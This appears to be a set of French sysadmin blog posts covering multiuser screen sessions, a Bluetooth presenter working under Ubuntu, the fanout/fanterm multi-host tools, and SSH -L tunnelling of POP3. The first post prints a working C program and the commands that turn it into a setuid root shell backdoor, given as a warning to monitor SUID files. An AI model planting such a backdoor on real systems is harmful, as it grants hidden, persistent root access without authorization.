Une fois qu’un user a eu les droits root une fois, il est très simple pour lui de se créer un moyen de repasser root ultérieurement sans avoir à rentrer de mot de passe…

Conclusion:

  • Ne pas donner un accès root à un user en se disant que de toute façon on changera le mot de passe après.
  • Surveiller les fichiers SUID/GUID du système
$ cat /tmp/back.c   

#include <unistd.h>  
int main(int ac, char av)  
{  
setuid(0);  
setgid(0);  
execl("/bin/sh", "sh", 0);  
}
# gcc -o backd back.c  
# chmod 4711 backd  
# ll /tmp/|grep back  
-rw-r--r-- 1 root root 101 Apr 13 11:01 back.c  
-rws--x--x 1 root root 7242 Apr 13 11:02 backd  
$ ./backd   
sh-3.00# id  
uid=0(root) gid=0(root) groupes=[...]  
sh-3.00#   
sh-3.00# whoami  
root  
sh-3.00#

Ce billet est un petit peu l’inverse de l’avant-dernier..

La technique décrite ici permet à plusieurs utilisateurs distants connectés sur la même machine d’interagir dans le même terminal..

Ceci peut se révèler très pratique par exemple pour montrer à l’administrateur de la machine sur laquelle vous êtes connectés (tous les 2), les commandes et tout ce que vous tapez sur son serveur… (Méthode différente qu’en utilisant la commande script)

Exemple simpliste en démo:

screen-x–8avril2006

L’utilisation générale de screen: http://gentoo-wiki.com/TIP_Using_screen
L’utilisation de screen en multiuser:
http://gentoo-wiki.com/HOWTO_Snoop_terminal_session#Screen

Je récupère aujourd’hui un pointer laser faisant également télécommande Bluetooth pour faire “slide suivant/précédent” dans les présentations…

La boiboite n’indique biensûr que Windows/Mac.

Je branche la clé Usb Bluetooth sous Ubuntu…et ohhhh…

input: USB HID v1.10 Keyboard [ALCOR USB Multimedia Keyboard] on usb-0000:00:1d.1-1.4

Tout fonctionne direct !!!
Rien d’exceptionnel (par rapport à Windows) si ce n’est que même pour le constructeur, ce n’est pas forcément censé fonctionner..

  • Introduction:

Ces deux outils de William Stearns peuvent se révéler très vite indispensable lors de la gestion de plusieurs machines…
Comme indiquer dans le titre, ces outils permettent de lançer des commandes simultanément sur plusieurs machines, et ce, même de façon interractive (avec fanterm).

  • Installation:

Je n’ai rien trouvé dans les dépôts ni en .deb. J’ai donc “aliéner” le rpm:

wget http://www.stearns.org/fanout/fanout-0.6.1-0.noarch.rpm  
sudo alien fanout-0.6.1-0.noarch.rpm  
sudo dpkg -i fanout_0.6.1-1_all.deb
  • Une petite démo sur 2 machines pour illustrer:

demo-fanterm18mars2006

fanterm-v0.6-50–18Mars2006.stearns.org

  • Pour les ssh sur des ports non standards, je suis passé par le fichier config (voir man ssh_config)
$ cat .ssh/config   
Host bipbip   
Hostname 172.16.2.200  
User yannick  
Port 2222  
  • L’authentification se fait par clé (voir man ssh)

  • J’ai remplacé xterm par Eterm dans /usr/bin/fanterm

  • Démo réalisée avec Byzanz
    Le .deb breezy trouvé sur Le StrassBlog

Ce billet présente l’utilisation de l’option -L de la commande ssh qui permet par exemple d’encapsuler dans une session chiffrée (SSH), un protocole qui passe habituellement en clair.

Pour illustrer cette option, prenons le cas ou l’on veut récupérer ses mails sur un serveur POP3 (port 110) mais sans que le mot de passe pop (ni les messages) ne passent en clair.

-L Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.

  • Le petit dessin illustrant la communication de l’exemple ci-dessous:

Yannick17Fev2005ssh-L-dessin

  • On lançe sur la machine “user” la commande SSH:
 ssh -L port-local:HOSTNAME:port-distant machine-distante
yannick@user:~$ ssh -L 1111:127.0.0.1:110 server  

…on entre le mot de passe ssh de “server”…on est connecté à “server”…

  • Il suffit ensuite de configurer notre client POP3 (Thunderbird par exemple) pour aller “poper” sur le serveur 127.0.0.1 sur le port 1111

Yannick17Fev2005ssh-L-Thunderbird

Toute la communication POP qui passe habituellement en clair est au final chiffrée.

  • La même chose en graphique avec putty:

Yannick17Fev2005ssh-L-putty